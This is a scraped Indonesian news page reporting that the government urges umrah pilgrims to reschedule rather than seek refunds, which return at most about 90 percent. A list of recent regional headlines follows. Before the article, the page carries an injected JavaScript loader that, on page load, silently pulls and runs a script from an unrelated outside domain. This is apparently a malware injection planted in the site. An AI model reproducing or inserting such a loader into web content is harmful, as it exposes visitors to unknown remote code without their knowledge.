(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Diminta Jadwal Ulang, Refund Jemaah Umrah Tak Dapat Dana 100 Persen


KANALKALIMANTAN.COM, JAKARTA – Pemerintah menganjurkan jemaah umrah tak mengajukan pengembalian dana atau refund dana umrah. Namun diminta untuk melakukan penjadwalan ulang atau reschedule dalam perjalanan.

Direktur Bina Umrah dan Haji Khusus Kementerian Agama, Arfi Hatim mengatakan, jika jemaah terlanjur mengajukan refund, maka dana kembali yang didapat tak 100 persen.

“Tapi yang mau refund sudah disampaikan akan berlaku standar dan ketentuan, dengan bukti-bukti yang telah dikeluarkan biro penyelenggara umrah itu sendiri. Misal enggak dapat 100 persen. Sehingga refund enggak 100 persen, tolong dipahami,” ujar Arfi saat ditemui di Gedung Manggala Wanabakti, Jakarta, Minggu (8/3/2020).

Menurut dia, jika melakukan reschedule, maka jemaah dapat kepastian keberangkatan umrah sampai pemerintah Arab Saudi membuka kembali kegiatan umrah. Ia memastikan, dalam proses reschedule ini jemaah tak akan dimintai biaya tambahan.

“Jadi dana bapak ibu aman 100 persen, tapi kami pastikan reschedule tersebut tanpa ada tambahan biaya. Ini kondisi force major yang tidak diinginkan semua sehingga semua pihak ada empati ada kebijakan yang dikeluarkan,” katanya.

Di tempat yang sama, Ketua Umum Sarikat Penyelenggara Umran dan Haji (Sapuhi) Syam Resfiadi mengatakan, jika jemaah mengajukan refund, maka hanya mendapatkan pengembalian dana paling banyak 90 persen dari biaya umrah.

“Paling tidak kurang lebih 90 persen mungkin yah, masih bisa kita kembalikan karena hingga saat ini belum semua data kita selesaikan komponen mana saja yang sudah bisa kita kembalikan, mana yang tidak. Minimal kalau kita berpatokan pada brosur setiap travel itu ada angka sekitar 500 dolar AS cancellation fee atau biaya refund,” kata dia. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

1 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

1 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

5 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

5 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

6 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

6 jam ago

This website uses cookies.